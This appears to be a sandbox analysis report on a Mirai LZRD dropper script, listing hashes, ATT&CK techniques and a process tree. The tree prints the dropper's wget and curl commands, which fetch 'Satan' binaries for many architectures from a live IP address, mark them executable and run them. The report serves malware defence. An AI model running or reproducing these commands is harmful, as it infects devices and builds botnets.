mirai | 9728623b44f5e32acfd770915d4d1b244997a757b4bdf01e5259bcdf9918784b

Analysis

max time kernel
139s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20-11-2024 22:57

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General

Target

ohshit.sh
Size

2KB
MD5

f9c8b9116a6544ef8d58828792753e7c
SHA1

5c6d5022d286ea418696cb67741df180e5cfc9b4
SHA256

9728623b44f5e32acfd770915d4d1b244997a757b4bdf01e5259bcdf9918784b
SHA512

e4c10931ad880f64cd284648287324beb72b76adfbfc55e90abac1c868c00d4209be1b98c3c50fd7c9b1a572a67feefadf74f5c817126a922001ce1f44e7f43e

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1592	chmod
1642	chmod
1514	chmod
1520	chmod
1530	chmod
1540	chmod
1562	chmod
1582	chmod
1602	chmod
1632	chmod
1652	chmod
1550	chmod
1572	chmod
1612	chmod
1622	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Satan	1515	Satan
/tmp/Satan	1521	Satan
/tmp/Satan	1531	Satan
/tmp/Satan	1541	Satan
/tmp/Satan	1551	Satan
/tmp/Satan	1563	Satan
/tmp/Satan	1573	Satan
/tmp/Satan	1583	Satan
/tmp/Satan	1593	Satan
/tmp/Satan	1603	Satan
/tmp/Satan	1613	Satan
/tmp/Satan	1623	Satan
/tmp/Satan	1633	Satan
/tmp/Satan	1643	Satan
/tmp/Satan	1653	Satan

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan
File opened for modification	/dev/misc/watchdog	Satan

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/bin/watchdog	Satan
File opened for modification	/sbin/watchdog	Satan

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/status	Satan
File opened for reading	/proc/1184/status	Satan
File opened for reading	/proc/948/status	Satan
File opened for reading	/proc/1153/status	Satan
File opened for reading	/proc/1058/status	Satan
File opened for reading	/proc/1072/status	Satan
File opened for reading	/proc/10/status	Satan
File opened for reading	/proc/1292/status	Satan
File opened for reading	/proc/1308/status	Satan
File opened for reading	/proc/6/status	Satan
File opened for reading	/proc/1197/status	Satan
File opened for reading	/proc/1183/status	Satan
File opened for reading	/proc/1247/status	Satan
File opened for reading	/proc/1558/status	Satan
File opened for reading	/proc/1346/status	Satan
File opened for reading	/proc/1197/status	Satan
File opened for reading	/proc/954/status	Satan
File opened for reading	/proc/21/status	Satan
File opened for reading	/proc/84/status	Satan
File opened for reading	/proc/170/status	Satan
File opened for reading	/proc/19/status	Satan
File opened for reading	/proc/171/status	Satan
File opened for reading	/proc/972/status	Satan
File opened for reading	/proc/34/status	Satan
File opened for reading	/proc/5/status	Satan
File opened for reading	/proc/177/status	Satan
File opened for reading	/proc/212/status	Satan
File opened for reading	/proc/1308/status	Satan
File opened for reading	/proc/30/status	Satan
File opened for reading	/proc/972/status	Satan
File opened for reading	/proc/1248/status	Satan
File opened for reading	/proc/172/status	Satan
File opened for reading	/proc/1119/status	Satan
File opened for reading	/proc/170/status	Satan
File opened for reading	/proc/1029/status	Satan
File opened for reading	/proc/28/status	Satan
File opened for reading	/proc/85/status	Satan
File opened for reading	/proc/1586/status	Satan
File opened for reading	/proc/9/status	Satan
File opened for reading	/proc/1153/status	Satan
File opened for reading	/proc/12/status	Satan
File opened for reading	/proc/1596/status	Satan
File opened for reading	/proc/1168/status	Satan
File opened for reading	/proc/1544/status	Satan
File opened for reading	/proc/20/status	Satan
File opened for reading	/proc/5/status	Satan
File opened for reading	/proc/469/status	Satan
File opened for reading	/proc/32/status	Satan
File opened for reading	/proc/1082/status	Satan
File opened for reading	/proc/1576/status	Satan
File opened for reading	/proc/34/status	Satan
File opened for reading	/proc/554/status	Satan
File opened for reading	/proc/1105/status	Satan
File opened for reading	/proc/36/status	Satan
File opened for reading	/proc/7/status	Satan
File opened for reading	/proc/82/status	Satan
File opened for reading	/proc/1148/status	Satan
File opened for reading	/proc/1192/status	Satan
File opened for reading	/proc/613/status	Satan
File opened for reading	/proc/723/status	Satan
File opened for reading	/proc/135/status	Satan
File opened for reading	/proc/171/status	Satan
File opened for reading	/proc/1167/status	Satan
File opened for reading	/proc/673/status	Satan

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1547	wget
1548	curl
1559	wget
1560	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Satan.mips64	curl
File opened for modification	/tmp/Satan.mips	curl
File opened for modification	/tmp/Satan.arm5	wget
File opened for modification	/tmp/Satan.arm5	curl
File opened for modification	/tmp/Satan.ppc	curl
File opened for modification	/tmp/Satan.m68k	wget
File opened for modification	/tmp/Satan.x86_64	curl
File opened for modification	/tmp/Satan.arm	curl
File opened for modification	/tmp/Satan.arm7	wget
File opened for modification	/tmp/Satan.x86	curl
File opened for modification	/tmp/Satan.i686	wget
File opened for modification	/tmp/Satan.arm6	curl
File opened for modification	/tmp/Satan.sh4	wget
File opened for modification	/tmp/Satan.arc	wget
File opened for modification	/tmp/Satan.x86	wget
File opened for modification	/tmp/Satan.mips	wget
File opened for modification	/tmp/Satan.mpsl	curl
File opened for modification	/tmp/Satan.arm	wget
File opened for modification	/tmp/Satan.arm6	wget
File opened for modification	/tmp/Satan.ppc	wget
File opened for modification	/tmp/Satan.sparc	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Satan.mpsl	wget
File opened for modification	/tmp/Satan.arm7	curl
File opened for modification	/tmp/Satan.m68k	curl
File opened for modification	/tmp/Satan.arc	curl
File opened for modification	/tmp/Satan.sh4	curl
File opened for modification	/tmp/Satan.i686	curl
File opened for modification	/tmp/Satan.x86_64	wget
File opened for modification	/tmp/Satan	ohshit.sh

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1505
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.arc
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.arc
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/cat
  cat Satan.arc
  2⤵
  PID:1513
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  PID:1515
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.x86
  2⤵
  - Writes file to tmp directory
  PID:1517
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.x86
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/cat
  cat Satan.x86
  2⤵
  PID:1519
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.x86 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1521
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1531
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.i686
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.i686
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1541
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9 systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-timedated.service-8oRI1K
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1559
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1560
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1563
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1569
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1573
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.arm
  2⤵
  - Writes file to tmp directory
  PID:1579
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.arm
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1583
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.arm5
  2⤵
  - Writes file to tmp directory
  PID:1589
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.arm5
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.arm6
  2⤵
  - Writes file to tmp directory
  PID:1599
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.arm6
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.arm7
  2⤵
  - Writes file to tmp directory
  PID:1609
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.arm7
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1613
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.ppc
  2⤵
  - Writes file to tmp directory
  PID:1619
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.ppc
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1623
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.sparc
  2⤵
  PID:1629
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.sparc
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1633
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.m68k
  2⤵
  - Writes file to tmp directory
  PID:1639
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.m68k
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1643
- /usr/bin/wget
  wget http://193.84.71.119/nice/Satan.sh4
  2⤵
  - Writes file to tmp directory
  PID:1649
- /usr/bin/curl
  curl -O http://193.84.71.119/nice/Satan.sh4
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/chmod
  chmod +x busybox config-err-YvAF7p netplan_3yg3w1r3 ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64 snap-private-tmp ssh-N29aQDHlpq0p systemd-private-f361587230ee480e9c0796bd45f0999b-bolt.service-9JZRxt systemd-private-f361587230ee480e9c0796bd45f0999b-colord.service-JSsEOw systemd-private-f361587230ee480e9c0796bd45f0999b-ModemManager.service-lFa7oV systemd-private-f361587230ee480e9c0796bd45f0999b-systemd-resolved.service-dTi7u9
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/Satan
  ./Satan
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1653

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Satan

Filesize
37KB

MD5
edf612986dba9abff11a7530fa06d3c2

SHA1
c39e5ecf48ed660df4c93353744955bebfb91636

SHA256
d7800781555066e97a3165a99ca416c452f0d60d9160fdcc62e842311c8664f0

SHA512
0dd292e9760c9ac15b06809133d8296f21250085c803585be73abcd1d1faacbf07bb28a0703943f65c0bc66e0c6311b3342a1c39e118dfae6491b5f7b7eeda9f

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/tmp/Satan.arc

Filesize
113KB

MD5
9de12c22a69d095a6338587f24e647d6

SHA1
ebfed805c282dad0b14dff439244389eba88e1f3

SHA256
74843b368ce9364f2e19a07dcd1f51e7a066da82dfdbddd71a0329fd1b13850a

SHA512
bcc5ea5ab6596a9dc8cf5a68c43e33b5a1535eef962a46f0a61ecdc78b8df42b1eac717d7e2fb398b8b88150499057c4cedbda1d3c2de664d5523f117e834c1f

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/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads